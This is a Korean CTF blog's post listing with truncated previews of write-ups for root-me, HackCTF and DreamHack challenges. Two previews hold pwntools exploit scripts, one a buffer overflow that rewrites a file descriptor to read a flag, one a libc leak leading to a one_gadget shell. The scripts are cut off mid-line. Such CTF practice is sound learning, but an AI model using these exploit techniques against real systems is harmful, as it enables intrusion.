pwnable.co.kr(287)
-
rootme - Weak password
솔직히 진짜 어이가 없었다. 관리자 비번 입력하는 창이 떠서 admin/admin 했는데 접속이 됐다. 뭔 오류지 했는데 이게 비번이였다. 진짜 weak password인가보다. 5분인가 삽질했다.. :(
2021.02.18 -
rootme - Javascript - Webpack
처음 사이트를 접속하면 아주 정상적인 사이트가 나옵니다. 사이트에서 아무런 취약점도 발견하지 못했지만, web pack에 대해서 찾아보니 "웹팩은 오픈 소스 자바스크립트 모듈 번들러로써 여러개로 나누어져 있는 파일들을 하나의 자바스크립트 코드로 압축하고 최적화하는 라이브러리입니다." 최적화가 되어있는 것 같습니다. 근데 플래그는 전혀 예상치 못한 소스코드에 녹아있었습니다. 저 flag 가 password였습니다..
2021.02.18 -
HackCTF - j0n9hyun's secret
from pwn import * context.log_level = "debug" r = remote("ctf.j0n9hyun.xyz", 3031) #r = process("./j0n9hyun_secret") e = ELF("./j0n9hyun_secret") l = e.libc r.recv() pay = "" pay += "A"*0x138 pay += p8(3) r.sendline(pay) r.interactive() 페이로드는 위와 같이 풀었다. 바이너리가 다 깨져서 하나하나 어셈보고 풀이했다. 이렇게 어셈 정리해서 read부분에서 읽어올때 fd를 3으로 바꿔주면된다. 3으로 바꿔주는 이유는 이게 중간에 실행되는데 flag파일에 대한 fd가 3이고, top_secret에 대한 fd가 4여서 3으로 바..
2021.02.06 -
pwn - r0pbaby
from pwn import * context.log_level = "debug" r = process("./r0pbaby") e = ELF("./r0pbaby") l = e.libc shell = [0x4f3d5, 0x4f432, 0x10a41c] system_off = l.sym['system'] r.sendlineafter(": ", "2") r.sendlineafter(": ", "system") r.recvuntil(": ") leak = int(r.recv(18), 16) libc_base = leak - system_off one_shot = libc_base + shell[0] log.info("leak = " + hex(leak)) log.info("libc_base = " + hex(l..
2021.02.05 -
Dreamhack - broken-png
보호되어 있는 글입니다.
2021.02.04 -
DreamHack - login-1
보호되어 있는 글입니다.
2021.02.03